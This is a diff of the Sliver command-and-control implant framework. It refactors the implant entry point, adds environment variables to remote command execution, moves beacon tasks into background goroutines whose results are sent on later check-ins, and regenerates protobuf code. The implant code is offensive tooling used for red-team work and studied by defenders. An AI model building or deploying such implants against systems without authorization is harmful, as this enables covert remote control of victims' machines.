+golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
+golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
 golang.org/x/term v0.38.0 h1:PQ5pkm/rLO6HnxFR7N2lJHOZX6Kez5Y1gDSJla6jo7Q=
 golang.org/x/term v0.38.0/go.mod h1:bSEAKrOT1W+VSu9TSCMtoGEOUcKxOKgl3LE5QEF/xVg=
 golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
@@ -564,8 +588,8 @@ golang.org/x/tools v0.0.0-20191108193012-7d206e10da11/go.mod h1:b+2E5dAYhXwXZwtn
 golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
 golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
 golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
-golang.org/x/tools v0.39.0 h1:ik4ho21kwuQln40uelmciQPp9SipgNDdrafrYA4TmQQ=
-golang.org/x/tools v0.39.0/go.mod h1:JnefbkDPyD8UU2kI5fuf8ZX4/yUeh9W877ZeBONxUqQ=
+golang.org/x/tools v0.40.0 h1:yLkxfA+Qnul4cs9QA3KnlFu0lVmd8JJfoq+E41uSutA=
+golang.org/x/tools v0.40.0/go.mod h1:Ik/tzLRlbscWpqqMRjyWYDisX8bG13FrdXp3o4Sr9lc=
 golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -594,8 +618,8 @@ google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8
 google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
 google.golang.org/grpc v1.76.0 h1:UnVkv1+uMLYXoIz6o7chp59WfQUYA2ex/BXQ9rHZu7A=
 google.golang.org/grpc v1.76.0/go.mod h1:Ju12QI8M6iQJtbcsV+awF5a4hfJMLi4X0JLo94ULZ6c=
-google.golang.org/protobuf v1.36.10 h1:AYd7cD/uASjIL6Q9LiTjz8JLcrh/88q5UObnmY3aOOE=
-google.golang.org/protobuf v1.36.10/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
+google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
+google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
@@ -628,8 +652,8 @@ gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c h1:m/r7OM+Y2Ty1sgBQ7Qb27VgI
 gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c/go.mod h1:3r5CMtNQMKIvBlrmM9xWUNamjKBYPOWyXOjmg5Kts3g=
 honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
 honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-honnef.co/go/tools v0.5.1 h1:4bH5o3b5ZULQ4UrBmP+63W9r7qIkqJClEA9ko5YKx+I=
-honnef.co/go/tools v0.5.1/go.mod h1:e9irvo83WDG9/irijV44wr3tbhcFeRnfpVlRqVwpzMs=
+honnef.co/go/tools v0.7.0-0.dev.0.20251022135355-8273271481d0 h1:5SXjd4ET5dYijLaf0O3aOenC0Z4ZafIWSpjUzsQaNho=
+honnef.co/go/tools v0.7.0-0.dev.0.20251022135355-8273271481d0/go.mod h1:EPDDhEZqVHhWuPI5zPAsjU0U7v9xNIWjoOVyZ5ZcniQ=
 howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM=
 howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g=
 modernc.org/cc/v4 v4.26.5 h1:xM3bX7Mve6G8K8b+T11ReenJOT+BmVqQj0FY5T4+5Y4=
@@ -662,5 +686,5 @@ mvdan.cc/sh/v3 v3.12.0 h1:ejKUR7ONP5bb+UGHGEG/k9V5+pRVIyD+LsZz7o8KHrI=
 mvdan.cc/sh/v3 v3.12.0/go.mod h1:Se6Cj17eYSn+sNooLZiEUnNNmNxg0imoYlTu4CyaGyg=
 software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB8aEykJ5k=
 software.sslmate.com/src/go-pkcs12 v0.4.0/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI=
-tailscale.com v1.90.6 h1:EhYPiZP/xcLeinikaLA0kn4CQT3+z9SZ13IB/kzWhd4=
-tailscale.com v1.90.6/go.mod h1:+9EX6pOGCNa6pxCVRhhlJLy/qnkDzOplFYpeZyYlCT0=
+tailscale.com v1.92.5 h1:h88HqtGk8jd9umF7l6m/8+QK69dY9IVMIlkNK9XYpvQ=
+tailscale.com v1.92.5/go.mod h1:jzTfKDd6XNNSNoX+Q9INIMpMU5rfZ9g8ojcAoMKi5w0=

implant/sliver/README.md

@@ -6,7 +6,7 @@ Core Go implementation of the Sliver implant runtime and supporting subsystems.
 
 ## Go Files
 
-- `sliver.go` – Implant entry point that wires transports, handlers, and the task runner together at startup.
+- `main.go` – Implant entry point that wires transports, handlers, and the task runner together at startup.
 
 ## Sub-packages
 

implant/sliver/handlers/handlers.go

@@ -27,10 +27,12 @@ import (
 	"fmt"
 	"io"
 	"io/fs"
+	"maps"
 	"os"
 	"os/exec"
 	"path/filepath"
 	"regexp"
+	"sort"
 	"strings"
 	"time"
 	"unicode/utf8"
@@ -1146,6 +1148,29 @@ func executeHandler(data []byte, resp RPCResponse) {
 		return
 	}
 	cmd := exec.Command(exePath, execReq.Args...)
+	if execReq.EnvInheritance || len(execReq.Env) > 0 {
+		envVars := make(map[string]string)
+		if execReq.EnvInheritance {
+			for _, entry := range os.Environ() {
+				parts := strings.SplitN(entry, "=", 2)
+				if len(parts) == 2 {
+					envVars[parts[0]] = parts[1]
+				} else if len(parts) == 1 {
+					envVars[parts[0]] = ""
+				}
+			}
+		}
+		maps.Copy(envVars, execReq.Env)
+		keys := make([]string, 0, len(envVars))
+		for key := range envVars {
+			keys = append(keys, key)
+		}
+		sort.Strings(keys)
+		cmd.Env = make([]string, 0, len(envVars))
+		for _, key := range keys {
+			cmd.Env = append(cmd.Env, fmt.Sprintf("%s=%s", key, envVars[key]))
+		}
+	}
 
 	if execReq.Output {
 		stdOutBuff := new(bytes.Buffer)

implant/sliver/main.c

@@ -1,4 +1,4 @@
-#include "sliver.h"
+#include "main.h"
 
 #ifdef __WIN32
 #include <windows.h>

implant/sliver/main.go

@@ -0,0 +1,47 @@
+package main
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+// {{if or .Config.IsSharedLib }}
+//#include "main.h"
+import "C"
+
+// {{end}}
+
+import (
+	"github.com/bishopfox/sliver/implant/sliver/runner"
+)
+
+// {{if or .Config.IsSharedLib .Config.IsShellcode}}
+var isRunning bool = false
+
+// {{range .Config.Exports}}
+//export {{.}}
+func {{.}} () {
+	if !isRunning {
+		isRunning = true
+		main()
+	}
+}
+// {{end}}
+// {{end}}
+
+func main() {
+	runner.Main()
+}

implant/sliver/runner/runner.go

@@ -1,4 +1,4 @@
-package main
+package runner
 
 /*
 	Sliver Implant Framework
@@ -18,12 +18,6 @@ package main
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
-// {{if or .Config.IsSharedLib }}
-//#include "sliver.h"
-import "C"
-
-// {{end}}
-
 import (
 	"errors"
 
@@ -105,26 +99,11 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
 			}
 		}
 	}
-	return
 }
 
 // {{end}}
 
-// {{if or .Config.IsSharedLib .Config.IsShellcode}}
-var isRunning bool = false
-
-// {{range .Config.Exports}}
-//export {{.}}
-func {{.}} () {
-	if !isRunning {
-		isRunning = true
-		main()
-	}
-}
-// {{end}}
-// {{end}}
-
-func main() {
+func Main() {
 
 	// {{if .Config.Debug}}
 	log.SetFlags(log.LstdFlags | log.Lshortfile)
@@ -272,17 +251,19 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 	time.Sleep(time.Second)
 	beacon.Close()
 
-	// BeaconMain - Is executed in it's own goroutine as the function will block
-	// until all tasks complete (in success or failure), if a task handler blocks
-	// forever it will simply block this set of tasks instead of the entire beacon
+	// BeaconMain - Tasks run in background goroutines, check-ins happen on schedule
+	// Results are collected and sent on subsequent check-ins
+	pendingResults := make(chan *sliverpb.Envelope, 100)
 	errors := make(chan error)
 	shortCircuit := make(chan struct{})
+
 	for {
 		duration := beacon.Duration()
 		nextCheckin = time.Now().Add(duration)
+
 		go func() {
 			oldInterval := beacon.Interval()
-			err := beaconMain(beacon, nextCheckin)
+			err := beaconMain(beacon, nextCheckin, pendingResults)
 			if err != nil {
 				// {{if .Config.Debug}}
 				log.Printf("[beacon] main error: %v", nextCheckin)
@@ -310,7 +291,7 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 	return nil
 }
 
-func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
+func beaconMain(beacon *transports.Beacon, nextCheckin time.Time, pendingResults chan *sliverpb.Envelope) error {
 	err := beacon.Start()
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -325,12 +306,26 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
 		time.Sleep(time.Second)
 		beacon.Close()
 	}()
+
+	// Collect any pending results from background tasks
+	var completedResults []*sliverpb.Envelope
+collecting:
+	for {
+		select {
+		case result := <-pendingResults:
+			completedResults = append(completedResults, result)
+		default:
+			break collecting
+		}
+	}
+
 	// {{if .Config.Debug}}
-	log.Printf("[beacon] sending check in ...")
+	log.Printf("[beacon] sending check in with %d pending results...", len(completedResults))
 	// {{end}}
 	err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
 		ID:          InstanceID,
 		NextCheckin: int64(beacon.Duration().Seconds()),
+		Tasks:       completedResults,
 	}))
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -382,30 +377,81 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
 		}
 	}
 
-	// ensure extensions are registered before they are called
-	var results []*sliverpb.Envelope
+	// Dispatch tasks to background - results sent to pendingResults as each completes
+	// Extensions must be registered synchronously before other tasks can use them
 	for _, r := range beaconHandleTasklist(tasksExtensionRegister) {
-		results = append(results, r)
-	}
-	for _, r := range beaconHandleTasklist(tasksOther) {
-		results = append(results, r)
+		pendingResults <- r
 	}
 
-	err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
-		ID:    InstanceID,
-		Tasks: results,
-	}))
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[beacon] error sending results %s", err)
-		// {{end}}
-	}
+	// Dispatch other tasks individually - each sends its result when done
+	beaconDispatchTasks(tasksOther, pendingResults)
+
 	// {{if .Config.Debug}}
-	log.Printf("[beacon] all results sent to server, cleanup ...")
+	log.Printf("[beacon] tasks dispatched to background, check-in complete")
 	// {{end}}
 	return nil
 }
 
+// beaconDispatchTasks dispatches tasks to run in background, sending results as each completes
+func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults chan *sliverpb.Envelope) {
+	sysHandlers := handlers.GetSystemHandlers()
+	specHandlers := handlers.GetKillHandlers()
+
+	for _, task := range tasks {
+		// {{if .Config.Debug}}
+		log.Printf("[beacon] dispatching task %d", task.Type)
+		// {{end}}
+		if handler, ok := sysHandlers[task.Type]; ok {
+			data := task.Data
+			taskID := task.ID
+			// {{if eq .Config.GOOS "windows" }}
+			go func() {
+				handlers.WrapperHandler(handler, data, func(data []byte, err error) {
+					// {{if .Config.Debug}}
+					if err != nil {
+						log.Printf("[beacon] handler function returned an error: %s", err)
+					}
+					log.Printf("[beacon] task completed (id: %d)", taskID)
+					// {{end}}
+					pendingResults <- &sliverpb.Envelope{
+						ID:   taskID,
+						Data: data,
+					}
+				})
+			}()
+			//  {{else}}
+			go func() {
+				handler(data, func(data []byte, err error) {
+					// {{if .Config.Debug}}
+					if err != nil {
+						log.Printf("[beacon] handler function returned an error: %s", err)
+					}
+					log.Printf("[beacon] task completed (id: %d)", taskID)
+					// {{end}}
+					pendingResults <- &sliverpb.Envelope{
+						ID:   taskID,
+						Data: data,
+					}
+				})
+			}()
+			// {{end}}
+		} else if task.Type == sliverpb.MsgOpenSession {
+			go openSessionHandler(task.Data)
+			pendingResults <- &sliverpb.Envelope{
+				ID:   task.ID,
+				Data: []byte{},
+			}
+		} else if handler, ok := specHandlers[task.Type]; ok {
+			go handler(task.Data, nil)
+		} else {
+			pendingResults <- &sliverpb.Envelope{
+				ID:                 task.ID,
+				UnknownMessageType: true,
+			}
+		}
+	}
+}
+
 func beaconHandleTasklist(tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
 	results := []*sliverpb.Envelope{}
 	resultsMutex := &sync.Mutex{}

implant/sliver/transports/beacon.go

@@ -362,9 +362,6 @@ func dnsBeacon(uri *url.URL) *Beacon {
 			return client.WriteEnvelope(envelope)
 		},
 		Close: func() error {
-			if client != nil {
-				return client.CloseSession()
-			}
 			return nil
 		},
 		Cleanup: func() error {

protobuf/clientpb/client.proto

@@ -148,6 +148,7 @@ message ImplantConfig {
   bool ObfuscateSymbols = 12;
   string TemplateName = 13;
   bool SGNEnabled = 14;
+  string GoPackage = 15;
 
   bool IncludeMTLS = 53;
   bool IncludeHTTP = 16;

protobuf/commonpb/common.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.36.3
-// 	protoc        v5.29.3
+// 	protoc-gen-go v1.26.0
+// 	protoc        v6.33.2
 // source: commonpb/common.proto
 
 package commonpb
@@ -21,16 +21,18 @@ const (
 )
 
 type Empty struct {
-	state         protoimpl.MessageState `protogen:"open.v1"`
-	unknownFields protoimpl.UnknownFields
+	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
 }
 
 func (x *Empty) Reset() {
 	*x = Empty{}
-	mi := &file_commonpb_common_proto_msgTypes[0]
-	ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-	ms.StoreMessageInfo(mi)
+	if protoimpl.UnsafeEnabled {
+		mi := &file_commonpb_common_proto_msgTypes[0]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
 }
 
 func (x *Empty) String() string {
@@ -41,7 +43,7 @@ func (*Empty) ProtoMessage() {}
 
 func (x *Empty) ProtoReflect() protoreflect.Message {
 	mi := &file_commonpb_common_proto_msgTypes[0]
-	if x != nil {
+	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
 			ms.StoreMessageInfo(mi)
@@ -58,20 +60,23 @@ func (*Empty) Descriptor() ([]byte, []int) {
 
 // Request - Common fields used in all gRPC requests
 type Request struct {
-	state         protoimpl.MessageState `protogen:"open.v1"`
-	Async         bool                   `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
-	Timeout       int64                  `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
-	BeaconID      string                 `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
-	SessionID     string                 `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
-	unknownFields protoimpl.UnknownFields
+	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Async     bool   `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
+	Timeout   int64  `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
+	BeaconID  string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
+	SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
 }
 
 func (x *Request) Reset() {
 	*x = Request{}
-	mi := &file_commonpb_common_proto_msgTypes[1]
-	ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-	ms.StoreMessageInfo(mi)
+	if protoimpl.UnsafeEnabled {
+		mi := &file_commonpb_common_proto_msgTypes[1]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
 }
 
 func (x *Request) String() string {
@@ -82,7 +87,7 @@ func (*Request) ProtoMessage() {}
 
 func (x *Request) ProtoReflect() protoreflect.Message {
 	mi := &file_commonpb_common_proto_msgTypes[1]
-	if x != nil {
+	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
 			ms.StoreMessageInfo(mi)
@@ -126,24 +131,26 @@ func (x *Request) GetSessionID() string {
 }
 
 // Response - Common fields used in all gRPC responses. Note that the Err field
-//
-//	only used when the implant needs to return an error to the server.
-//	Client<->Server comms should use normal gRPC error handling.
+//            only used when the implant needs to return an error to the server.
+//            Client<->Server comms should use normal gRPC error handling.
 type Response struct {
-	state         protoimpl.MessageState `protogen:"open.v1"`
-	Err           string                 `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
-	Async         bool                   `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
-	BeaconID      string                 `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
-	TaskID        string                 `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
-	unknownFields protoimpl.UnknownFields
+	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Err      string `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
+	Async    bool   `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
+	BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
+	TaskID   string `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
 }
 
 func (x *Response) Reset() {
 	*x = Response{}
-	mi := &file_commonpb_common_proto_msgTypes[2]
-	ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-	ms.StoreMessageInfo(mi)
+	if protoimpl.UnsafeEnabled {
+		mi := &file_commonpb_common_proto_msgTypes[2]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
 }
 
 func (x *Response) String() string {
@@ -154,7 +161,7 @@ func (*Response) ProtoMessage() {}
 
 func (x *Response) ProtoReflect() protoreflect.Message {
 	mi := &file_commonpb_common_proto_msgTypes[2]
-	if x != nil {
+	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
 			ms.StoreMessageInfo(mi)
@@ -199,18 +206,21 @@ func (x *Response) GetTaskID() string {
 
 // File - A basic file data type
 type File struct {
-	state         protoimpl.MessageState `protogen:"open.v1"`
-	Name          string                 `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
-	Data          []byte                 `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
-	unknownFields protoimpl.UnknownFields
+	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
+	Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
 }
 
 func (x *File) Reset() {
 	*x = File{}
-	mi := &file_commonpb_common_proto_msgTypes[3]
-	ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-	ms.StoreMessageInfo(mi)
+	if protoimpl.UnsafeEnabled {
+		mi := &file_commonpb_common_proto_msgTypes[3]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
 }
 
 func (x *File) String() string {
@@ -221,7 +231,7 @@ func (*File) ProtoMessage() {}
 
 func (x *File) ProtoReflect() protoreflect.Message {
 	mi := &file_commonpb_common_proto_msgTypes[3]
-	if x != nil {
+	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
 			ms.StoreMessageInfo(mi)
@@ -252,23 +262,26 @@ func (x *File) GetData() []byte {
 
 // Process - A basic process data type
 type Process struct {
-	state         protoimpl.MessageState `protogen:"open.v1"`
-	Pid           int32                  `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
-	Ppid          int32                  `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
-	Executable    string                 `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
-	Owner         string                 `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
-	Architecture  string                 `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
-	SessionID     int32                  `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
-	CmdLine       []string               `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
-	unknownFields protoimpl.UnknownFields
+	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Pid          int32    `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
+	Ppid         int32    `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
+	Executable   string   `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
+	Owner        string   `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
+	Architecture string   `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
+	SessionID    int32    `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
+	CmdLine      []string `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
 }
 
 func (x *Process) Reset() {
 	*x = Process{}
-	mi := &file_commonpb_common_proto_msgTypes[4]
-	ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-	ms.StoreMessageInfo(mi)
+	if protoimpl.UnsafeEnabled {
+		mi := &file_commonpb_common_proto_msgTypes[4]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
 }
 
 func (x *Process) String() string {
@@ -279,7 +292,7 @@ func (*Process) ProtoMessage() {}
 
 func (x *Process) ProtoReflect() protoreflect.Message {
 	mi := &file_commonpb_common_proto_msgTypes[4]
-	if x != nil {
+	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
 			ms.StoreMessageInfo(mi)
@@ -345,18 +358,21 @@ func (x *Process) GetCmdLine() []string {
 
 // EnvVar - Environment variable K/V
 type EnvVar struct {
-	state         protoimpl.MessageState `protogen:"open.v1"`
-	Key           string                 `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
-	Value         string                 `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
-	unknownFields protoimpl.UnknownFields
+	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Key   string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
+	Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
 }
 
 func (x *EnvVar) Reset() {
 	*x = EnvVar{}
-	mi := &file_commonpb_common_proto_msgTypes[5]
-	ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
-	ms.StoreMessageInfo(mi)
+	if protoimpl.UnsafeEnabled {
+		mi := &file_commonpb_common_proto_msgTypes[5]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
 }
 
 func (x *EnvVar) String() string {
@@ -367,7 +383,7 @@ func (*EnvVar) ProtoMessage() {}
 
 func (x *EnvVar) ProtoReflect() protoreflect.Message {
 	mi := &file_commonpb_common_proto_msgTypes[5]
-	if x != nil {
+	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
 			ms.StoreMessageInfo(mi)
@@ -453,7 +469,7 @@ func file_commonpb_common_proto_rawDescGZIP() []byte {
 }
 
 var file_commonpb_common_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
-var file_commonpb_common_proto_goTypes = []any{
+var file_commonpb_common_proto_goTypes = []interface{}{
 	(*Empty)(nil),    // 0: commonpb.Empty
 	(*Request)(nil),  // 1: commonpb.Request
 	(*Response)(nil), // 2: commonpb.Response
@@ -474,6 +490,80 @@ func file_commonpb_common_proto_init() {
 	if File_commonpb_common_proto != nil {
 		return
 	}
+	if !protoimpl.UnsafeEnabled {
+		file_commonpb_common_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*Empty); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_commonpb_common_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*Request); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_commonpb_common_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*Response); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_commonpb_common_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*File); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_commonpb_common_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*Process); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_commonpb_common_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*EnvVar); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+	}
 	type x struct{}
 	out := protoimpl.TypeBuilder{
 		File: protoimpl.DescBuilder{

protobuf/dnspb/dns.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.36.3
-// 	protoc        v5.29.3
+// 	protoc-gen-go v1.26.0
+// 	protoc        v6.33.2
 // source: dnspb/dns.proto
 
 package dnspb
@@ -87,27 +87,32 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
 	return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
 }
 
-// NOTE: DNS is very space sensitive so certain fields are re-purposed
-// depending on the DNSMessageType as noted below:
 //
-// [Type TOTP]: ID field is used for the TOTP code
